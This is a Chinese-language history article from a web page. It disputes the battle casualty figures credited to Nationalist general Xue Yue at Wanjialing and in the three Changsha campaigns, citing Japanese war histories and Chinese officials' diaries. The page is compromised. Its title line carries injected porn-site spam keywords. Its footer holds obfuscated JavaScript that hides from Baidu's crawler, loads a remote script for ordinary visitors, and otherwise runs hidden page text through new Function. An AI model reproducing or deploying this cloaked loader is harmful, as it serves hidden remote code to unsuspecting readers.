久久精品亚洲人人做人人爽|欧美日韩在线观看视频|在线a免费播放a视频|亚洲免费AV在线

<source id="usrd9"><ins id="usrd9"></ins></source>

<form id="usrd9"><tr id="usrd9"></tr></form>
      1. 當(dāng)前位置:首頁 > 歷史 > 戰(zhàn)史風(fēng)云 > 正文

        贊揚(yáng)薛岳將軍不是神化薛岳將軍 薛岳率部殲敵數(shù)字

        2017-04-29 07:33:03  來源:360常識(shí)網(wǎng)   熱度:
        導(dǎo)語:近幾年來,各路國(guó)軍“戰(zhàn)神”如過江之鯽紛紛涌現(xiàn),就連張靈甫旅長(zhǎng)這樣的不入流貨色都能被包裝成為“一代名將”,作為張靈甫的上級(jí)——薛岳總

        近幾年來,各路國(guó)軍“戰(zhàn)神”如過江之鯽紛紛涌現(xiàn),就連張靈甫旅長(zhǎng)這樣的不入流貨色都能被包裝成為“一代名將”,作為張靈甫的上級(jí)——薛岳總司令自然更是被吹噓的天花亂墜了,比如:

        “今天沒幾個(gè)中國(guó)人知道誰殺日本人最多,他叫薛岳,國(guó)民黨第九戰(zhàn)區(qū)司令長(zhǎng)官,親自指揮萬家?guī)X大戰(zhàn)幾乎殲滅了日軍106整整一個(gè)師團(tuán),組織三次長(zhǎng)沙會(huì)戰(zhàn)殲敵十萬,沒有偽軍,純?nèi)毡救?,換句話說,抗戰(zhàn)十四年殲滅日軍50萬,五個(gè)人里有一個(gè)他殺的?!?/p>

        而最近廣為流傳的一種說法則更嚇人,“薛岳于三次長(zhǎng)沙會(huì)戰(zhàn)殲滅日軍27萬余人,是殲滅日軍最多的中國(guó)將領(lǐng)。”

        說到薛岳在國(guó)軍戰(zhàn)史上的地位,其侄子薛維忠在《回憶我的大伯薛岳》一文中有著這樣的描述:“有一次我被臺(tái)灣的一所軍事大學(xué)請(qǐng)去做管理方面的演講,校長(zhǎng)曉得我的家世背景,送了我一本《中華民國(guó)國(guó)軍建軍史》的畫冊(cè),我挺高興地翻看。你猜怎么樣?里頭談到了三次長(zhǎng)沙大會(huì)戰(zhàn),可是竟然‘薛岳’的名字一次都沒有出現(xiàn)!”

        薛岳將軍抗戰(zhàn)期間參加了淞滬會(huì)戰(zhàn),指揮和參與指揮了武漢會(huì)戰(zhàn)、徐州會(huì)戰(zhàn)、長(zhǎng)沙會(huì)戰(zhàn)等著名會(huì)戰(zhàn),有著不可磨滅的歷史功績(jī),算得上抗日功臣!

        然而,其是否真的在萬家?guī)X“幾乎殲滅了日軍106整整一個(gè)師團(tuán)”?“三次長(zhǎng)沙會(huì)戰(zhàn)殲敵(數(shù))十萬”?是否真的配得上“殲滅日軍最多”的“抗日戰(zhàn)神”這個(gè)稱號(hào)呢?

        咱們先說說萬家?guī)X中“幾乎被殲滅的第106師團(tuán)”,

        在1938年10月間武漢會(huì)戰(zhàn)之萬家?guī)X大捷中,薛將軍統(tǒng)領(lǐng)十萬大軍,圍攻日106師團(tuán)一萬五千多名日寇,雖說是基本上是十打一的情況下才取得了最后勝利。但是,畢竟極大鼓舞了全國(guó)軍民的士氣和斗志,功不可沒!

        106師團(tuán)在萬家?guī)X是戰(zhàn)敗了,這點(diǎn)毋庸置疑。然而,此戰(zhàn)是否如薛將軍所言:“第106師團(tuán)幾乎被殲殆盡”呢?

        我想,薛將軍需要解釋一下:為什么僅僅在五個(gè)月后,就是這只“幾乎被殲殆盡”的106師團(tuán),竟然與第6、第101師團(tuán)一起作為突擊主力參加了1939年3月的南昌作戰(zhàn)!更令人大跌眼鏡的是,此戰(zhàn)日軍竟然傷亡不過960人!(見《岡村寧次回憶錄》,388頁)

        不僅如此,南昌作戰(zhàn)后,106師團(tuán)一部竟然沿湘贛公路西進(jìn)追擊,于4月2日攻陷重鎮(zhèn)高安,與國(guó)軍嫡系王牌軍74軍對(duì)峙!

        日軍竟然將一支“幾乎被殲殆盡”而重建的師團(tuán)與國(guó)軍嫡系王牌軍對(duì)峙?

        這,難道是在諷刺國(guó)軍無能嗎?

        咱們?cè)僬f說薛將軍三次長(zhǎng)沙會(huì)戰(zhàn)中是否“殲敵(數(shù))十萬”。

        先說“第一次長(zhǎng)沙會(huì)戰(zhàn)”。此戰(zhàn)指1939年9月至10月間,中日之間在湖南、湖北、江西三省接壤地區(qū)的一次攻防戰(zhàn)。

        此戰(zhàn)為日軍主動(dòng)出擊,然其意圖并非占領(lǐng)長(zhǎng)沙,而是要“在最短期間內(nèi),捕捉敵第9戰(zhàn)區(qū)主力部隊(duì),將其殲滅”(日本防衛(wèi)廳防衛(wèi)研究所戰(zhàn)史室著:《中華國(guó)民史資料叢稿譯稿:長(zhǎng)沙作戰(zhàn)》,第6頁)。8月15日,日軍第11軍制訂的《江南作戰(zhàn)指導(dǎo)大綱》明確戰(zhàn)役指導(dǎo)方針是:“實(shí)施本作戰(zhàn)時(shí)以奇襲為主,盡量在短期內(nèi)結(jié)束戰(zhàn)斗,然后恢復(fù)大概原來態(tài)勢(shì)。(最近敵軍逃跑得很快,因此對(duì)戰(zhàn)術(shù)和準(zhǔn)備的保密有極大的重要性)”(《中國(guó)抗日戰(zhàn)爭(zhēng)正面戰(zhàn)場(chǎng)作戰(zhàn)記》第951-952頁)

        為此,日軍派出十萬大軍進(jìn)攻,而第九戰(zhàn)區(qū)防御的國(guó)軍兵力為24萬。在此役中,“幾乎被殲殆盡”106師團(tuán)又一次作為主力部隊(duì)首先向第19集團(tuán)軍第60軍發(fā)起進(jìn)攻!

        那么,最后戰(zhàn)績(jī)?nèi)绾文兀?/p>

        日軍剛剛撤退,薛岳急電蔣總裁報(bào)捷:“……日軍分三路進(jìn)攻長(zhǎng)沙,我誘敵深入,于長(zhǎng)沙附近予以痛擊,敵傷亡慘重,向北潰逃……”,并稱此戰(zhàn)日軍死傷3萬余人,第9戰(zhàn)區(qū)的傷亡人數(shù)為4萬余人。老頭子聞聽大喜,給第9戰(zhàn)區(qū)發(fā)去賀電。各大小報(bào)紙更是大肆宣揚(yáng)“長(zhǎng)沙大捷”!

        然而,日本人的戰(zhàn)后總結(jié)是這樣的:“敵遺棄尸體約四萬四千具,俘虜約四千名,繳獲主要武器火炮二十六門、機(jī)關(guān)槍約二百七十挺。我方傷亡為,戰(zhàn)死約八百五十名,負(fù)傷約二千七百名?!?《中國(guó)事變陸軍作戰(zhàn)史·第二卷第二分冊(cè)》151頁)

        眾所周知,在戰(zhàn)爭(zhēng)中,雙方指揮官為了鼓舞人心,振奮士氣,再加上一點(diǎn)點(diǎn)小小的私心,都是要在戰(zhàn)報(bào)上稍微吹吹牛皮的。而且,不光是國(guó)軍這樣干,共軍、日軍、蘇軍、英軍、美軍……都會(huì)這樣吹牛皮的,基本上算是軍界的行規(guī)了!

        然而,傷亡人數(shù)3千對(duì)3萬,像這樣如此迥然不同的傷亡數(shù)字差別,實(shí)在是軍事史上的一個(gè)大笑話了!

        到底是誰在不要臉的瘋狂大吹牛皮?

        時(shí)任第9戰(zhàn)區(qū)司令長(zhǎng)官部軍務(wù)處處長(zhǎng)賀執(zhí)圭是這樣總結(jié)此次會(huì)戰(zhàn)的:“這次湘北戰(zhàn)役,除前哨戰(zhàn)中確曾發(fā)生激烈戰(zhàn)斗外,其余各個(gè)主陣地和各個(gè)大部隊(duì),不是聞風(fēng)遁逃,便是一觸即潰?!^追擊、側(cè)擊等等,言追擊,則始終與敵相隔一日行程;言側(cè)擊,則從未與敵人主力接觸。在敵人是‘全師而退’,而我軍只不過是‘送客出門’”(《記第一次長(zhǎng)沙會(huì)戰(zhàn)》)

        再說第二次長(zhǎng)沙會(huì)戰(zhàn),此戰(zhàn)發(fā)生在1941年9月至10月間,依然是一場(chǎng)攻防戰(zhàn)。

        日軍“第十一軍把這次作戰(zhàn)目的定為:‘為粉碎敵人的抗戰(zhàn)力量,給西部第九戰(zhàn)區(qū)軍隊(duì)一大打擊’。軍首腦一有機(jī)會(huì)就強(qiáng)調(diào)這次作戰(zhàn)的目的,絕不是‘占領(lǐng)地方’和‘奪取物資’?!?《中國(guó)事變陸軍作戰(zhàn)史·第三卷第二分冊(cè)》158-159頁))

        此戰(zhàn)日軍擊潰薛岳4個(gè)軍,并攻占長(zhǎng)沙。之后迅速撤離,國(guó)軍趁機(jī)收復(fù)失地,雙方恢復(fù)戰(zhàn)前狀態(tài):“早淵支隊(duì)……翌28日完全占領(lǐng)長(zhǎng)沙……第十一軍認(rèn)為完全達(dá)到了作戰(zhàn)目的,10月1日日落后,開始返回”(《中國(guó)事變陸軍作戰(zhàn)史·第三卷第二分冊(cè)》162頁)。

        根據(jù)日方記錄,“作戰(zhàn)結(jié)束后,軍所報(bào)告的戰(zhàn)果為:敵交戰(zhàn)總兵力約五十萬,遺棄尸體五萬四千具,被俘四千三百人。日方損失:戰(zhàn)死一千六百七十人(內(nèi)將校一百二十二人)、負(fù)傷五千一百八十四人(內(nèi)將校二百七十二人),去向不明者十四人,馬匹戰(zhàn)死一千一百六十八匹、負(fù)傷一千零九十二匹。”(《中國(guó)事變陸軍作戰(zhàn)史·第三卷第二分冊(cè)》164-165頁)

        也就是說,日軍傷亡共計(jì)6854人。日本人是否吹牛皮,咱們先不說,看看薛將軍是如何展示的吧:

        看到日本人撤退了,薛將軍一下子興奮起來,又開始大肆吹噓。而軍令部長(zhǎng)徐永昌在10月14日的日記中則這樣寫道:“薛伯陵對(duì)外記者及武官談話,發(fā)表湘北之役,敵遺尸四萬一千余具云云,使本部戰(zhàn)訊發(fā)布組大為作難。又據(jù)報(bào),長(zhǎng)沙外藉傳教師語外記者及武官,敵人二十七日入長(zhǎng)沙約兩萬人,留四日退去。又該訪察團(tuán)對(duì)湘北戰(zhàn)頗感失望云?!?《徐永昌日記》)

        10月25日,當(dāng)軍令部次長(zhǎng)林蔚向徐永昌轉(zhuǎn)述從蔣介石那里聽到的湘北真實(shí)情形,更是令徐部長(zhǎng)大吃一驚:“一、湘北戰(zhàn)之序幕,敵人掃蕩大雪山時(shí),戰(zhàn)區(qū)所報(bào)我軍如何轉(zhuǎn)出反包圍敵人等等,完全子虛,斯役我第四軍吃虧極大。二、敵人打過汩羅江以后,我軍已無有戰(zhàn)斗力之軍師。三、所報(bào)俘獲敵人不到十個(gè),槍許有幾枝,余可想矣。”(出處同上)

        徐部長(zhǎng)寫到這里,禁不住大發(fā)感慨:“由謊報(bào)一點(diǎn)看我國(guó)軍人無恥,可謂達(dá)于極點(diǎn)”。

        即便在當(dāng)時(shí),薛岳的吹噓,也早已經(jīng)是路人皆知了:王世杰也披露,“當(dāng)時(shí)薛岳等之軍報(bào),謂我軍始終未退出長(zhǎng)沙,實(shí)屬謊報(bào)。聞委員長(zhǎng)對(duì)此甚憤怒?!?諶旭彬:《戴笠披露國(guó)軍令人發(fā)指的貪腐》)

        看到薛某人如此厚顏無恥大吹牛皮,連牛皮大王蔣總裁都看不過眼了,蔣總裁戰(zhàn)后問俘虜繳獲情況,薛將軍答曰:俘虜8名!

        我勒個(gè)去,敵我雙方40余萬人的大戰(zhàn),吹牛皮說什么“敵遺尸四萬一千余具云云”,竟然只俘虜8名?!

        盡管老頭子算是牛皮大王,可是沒想到碰到牛皮高手了!

        為此,老頭子在南岳軍事會(huì)議上大罵薛岳:“像這次長(zhǎng)沙會(huì)戰(zhàn),我們有這樣雄厚的兵力,有這樣良好的態(tài)勢(shì),我們一定可以打敗敵人,一定可以俘獲敵人很多的官兵,一定可以繳獲敵人無數(shù)的軍械!即使沒有一萬俘虜,也總應(yīng)該有一千!一千沒有,總要有一百!一百?zèng)]有,少而言之,也應(yīng)該有十人……丟盡了黨國(guó)軍人的臉面”。

        這邊薛將軍如此大吹牛皮,以致于驚動(dòng)了日本人!日軍在其戰(zhàn)史反思道:“這樣秩序井然地占領(lǐng)和撤退,毫未留下任何被占領(lǐng)的痕跡。重慶方面卻不斷宣傳‘長(zhǎng)沙未被占領(lǐng)’,反而被敵利用進(jìn)行反宣傳,產(chǎn)生了啼笑皆非的結(jié)果?!?《中華國(guó)民史資料叢稿譯稿:長(zhǎng)沙作戰(zhàn)》)

        雖然這次會(huì)戰(zhàn)國(guó)軍沒好意思宣布大捷,但70多年后,果粉們替薛岳宣布大捷,殲敵4.8萬人!

        再說第三次長(zhǎng)沙會(huì)戰(zhàn)。

        1941年12月23日-1942年1月6日,第三次長(zhǎng)沙會(huì)戰(zhàn),30萬國(guó)軍抵御5萬日軍,薛將軍的“天爐戰(zhàn)術(shù)”終見成效,此戰(zhàn)日軍傷亡雖然只有六千人,但確實(shí)是被“打退”,而不是“撤退”了。

        薛將軍這回腰桿更直了,第九戰(zhàn)區(qū)戰(zhàn)報(bào)稱:日軍兵力達(dá)12萬人,“敵軍官兵遺尸五萬六千九百四十四具,馬一千二百三十二匹。其敵已焚化之陣亡及重傷官兵則遍地皆是。其輕傷能隨隊(duì)行動(dòng)逃回之官兵,則尚不在此數(shù)之內(nèi)。生俘敵松野榮吉炮兵大尉以下官兵一百三十九員名,軍馬二百六十八匹?!?《第九戰(zhàn)區(qū)第三次長(zhǎng)沙會(huì)戰(zhàn)戰(zhàn)斗要報(bào)》,收錄于《中華民國(guó)史檔案資料匯編第5輯第2編軍事3》)

        厲害??!真的實(shí)在是太厲害了!

        不過,不是作戰(zhàn),而是吹牛皮吹得太厲害了!

        先看看日本人的統(tǒng)計(jì)數(shù)據(jù):國(guó)軍遺棄尸體28612具,被俘1065人;日軍戰(zhàn)死1591人,戰(zhàn)傷4412人,死傷戰(zhàn)馬1766匹。(《中華國(guó)民史資料叢稿譯稿:長(zhǎng)沙作戰(zhàn)》,P214-215),日軍傷亡6000人而已。當(dāng)然,日本人也會(huì)有夸大其詞之處,但根本不好意思跟薛將軍的大手筆相提并論啊。

        其實(shí),薛將軍如此大吹牛皮,以致于連國(guó)軍軍令部都看不過眼了。會(huì)戰(zhàn)概要中做出了這樣的記述:“十二月十七日至二十三日一周間,敵陸續(xù)抽調(diào)其……所屬各部隊(duì),集中岳陽附近地區(qū),其總兵力約五萬余……敵之傷亡損耗,據(jù)俘虜敵各部隊(duì)官兵供詞綜合判斷,敵軍傷亡當(dāng)在百分之六十五以上,損耗更無計(jì)矣?!?《軍令部編第三次長(zhǎng)沙會(huì)戰(zhàn)經(jīng)過概要》,收錄于《中華民國(guó)史檔案資料匯編第5輯第2編軍事3》)

        進(jìn)攻兵力從12萬一下子減到5萬?這不是打薛將軍的臉嗎?!

        對(duì)此,薛將軍很生氣,后果很嚴(yán)重——在給重慶的戰(zhàn)報(bào)中又大吹特吹什么日軍攻取長(zhǎng)沙失敗撤退后,“敗殘之?dāng)秤纸?jīng)我軍四次之猛烈圍殲,生還無幾,實(shí)為敵軍空前之慘敗”。

        然而,薛將軍的參謀長(zhǎng)趙子立卻在事后老老實(shí)實(shí)地承認(rèn),“關(guān)于戰(zhàn)果部分,如日軍傷亡、我軍所獲戰(zhàn)利品等則有所夸大”,“日軍的指揮系統(tǒng)未被打亂,日軍雖然在艱苦的狀況下撤退,卻始終是有部署、有指導(dǎo)的撤退?!?,而當(dāng)外國(guó)記者提出要看日軍俘虜時(shí),卻被告知“幾個(gè)重傷、重病的俘虜,已經(jīng)死了,無俘虜可看”!(趙子立、王光倫:《第三次長(zhǎng)沙會(huì)戰(zhàn)兵力部署及戰(zhàn)斗經(jīng)過》,趙當(dāng)時(shí)系第九戰(zhàn)區(qū)長(zhǎng)官司令部參謀處處長(zhǎng),王當(dāng)時(shí)系第六十軍第一八三師營(yíng)長(zhǎng)。)

        “生還無幾”的日軍竟然“始終是有部署、有指導(dǎo)的撤退”?“生俘”的139名俘虜竟然一夜之間“死了”?!

        最后,薛將軍一路吹著牛皮又吹到了蔣主席面前,結(jié)果可想而知:軍法執(zhí)行總監(jiān)何成濬在其日記中是這樣記述的:“(軍事委員會(huì))會(huì)報(bào)時(shí),主席宣布關(guān)于湘北三次會(huì)戰(zhàn),第九戰(zhàn)區(qū)薛司令長(zhǎng)官之報(bào)告云,我軍傷亡官兵二萬九千余,倭寇死傷五萬余,在場(chǎng)諸人均笑斥之,主席亦言其過于虛妄。各處作戰(zhàn)報(bào)告,本多有不確實(shí)處,然向無如此之人之甚者。”(何成濬1942年2月25日日記,《何成濬將軍戰(zhàn)時(shí)日記》上冊(cè),第59頁。)

        薛將軍絕對(duì)算得上國(guó)軍中的吹牛大王了:“然向無如此之人之甚者”??!

        這里,插一句,其實(shí),蔣“主席亦言其過于虛妄”,不過也是五十步笑百步罷了。

        1943年夏的所謂“鄂西大捷”,就是一個(gè)典型的例子。此役被國(guó)軍詡為“東方的斯大林格勒戰(zhàn)役”。

        但據(jù)親歷此役的第18軍18師參謀長(zhǎng)趙秀昆回憶,這個(gè)“輝煌戰(zhàn)績(jī)”全系按蔣介石之個(gè)人意志捏造。趙秀昆回憶:

        “軍令部次長(zhǎng)林蔚直接以電話告18軍軍長(zhǎng)方天,大意:你們這次打了一個(gè)大勝仗,國(guó)內(nèi)外影響都很大,老頭子很高興,指示要大加宣傳……方天令我親擬戰(zhàn)報(bào),肆意夸張,軍令部更進(jìn)一步虛構(gòu)、夸張,這就出現(xiàn)了6月3日重慶《中央日?qǐng)?bào)》以及各大報(bào)紙的‘鄂西大捷之經(jīng)過’的戰(zhàn)報(bào)報(bào)道?!?趙秀昆:《抗戰(zhàn)期間武漢失守后的十八軍》,載于《文史資料選輯第81輯》,文史資料出版社1982。)

        趙秀昆并且承認(rèn):戰(zhàn)報(bào)報(bào)道中,“‘僅北斗沖一地者即有二千三百具(日軍尸體)’是我信筆編造”,“其余敵軍總兵力和什么蔣介石手令,都是軍令部捏造的。就18軍正面而言,日軍至多使用上三四千人兵力,卻夸大為兩個(gè)師團(tuán),把敵人傷亡夸大為幾萬人,更不可能是事實(shí)?!?趙秀昆:《抗戰(zhàn)期間武漢失守后的十八軍》,載于《文史資料選輯第81輯》,文史資料出版社1982。)

        1943年7月駐英大使顧維鈞轉(zhuǎn)述,英國(guó)方面認(rèn)為“我國(guó)抗戰(zhàn)公報(bào)多夸大不足信,尤以報(bào)告敵人傷亡數(shù)目為最,此次湘鄂一役所稱敵方傷亡三萬,超過不啻十余倍云云?!?/p>

        言歸正傳,反正在薛將軍的大吹牛皮之下,英勇的國(guó)軍在長(zhǎng)沙一次大捷,兩次大捷,三次大捷,大捷個(gè)沒完沒了。

        對(duì)此,薛岳的好友張發(fā)奎在回憶錄中是這樣評(píng)價(jià)的:“為了宣傳目的,敵人每撤退一次,我們便上報(bào)一次勝仗。中央對(duì)此十分了解,這些都是虛假的勝利”。

        因此,看到薛將軍如此狂妄的大吹牛皮,張發(fā)奎忍不住指出:“三次所謂長(zhǎng)沙大捷(一九三九年秋,一九四一年、一九四一年十二月至一九四二年一月)同所謂粵北大捷相似。敵軍志不在長(zhǎng)沙,猶如它們志不在韶關(guān),它們只不過是佯攻而已?!?《蔣介石與我——張發(fā)奎上將回憶錄》,第357頁。)

        當(dāng)日軍真的要以長(zhǎng)沙為攻占目標(biāo)時(shí),薛將軍的大捷也到了夢(mèng)醒時(shí)分了:在1944年的1號(hào)作戰(zhàn)中,日本人用了一天一夜攻占了長(zhǎng)沙,被擊潰的國(guó)軍主力倉(cāng)皇潰逃,導(dǎo)致衡陽守軍孤軍無援,苦戰(zhàn)四十余天之后,被迫舉白旗投降!

        此戰(zhàn)之后,薛岳真的不好意思再吹牛皮大捷了??墒牵肮邸眰儏s依然大吹牛皮,把衡陽保衛(wèi)戰(zhàn)吹噓為“東方斯大林格勒之戰(zhàn)”,尼瑪有舉白旗投降的朱可夫嗎?!

        我們無意貶低抗日名將,在薛岳將軍的率領(lǐng)下,抗日軍民奮起反抗,武漢會(huì)戰(zhàn),三次長(zhǎng)沙會(huì)戰(zhàn)都挫傷了日本侵略者的銳氣,但是贊揚(yáng)薛將軍的抗日決心,抗日勇氣,抗日功勞,不是神話薛岳,而是讓大家真正了解抗戰(zhàn)。

        轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
        ?
        if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}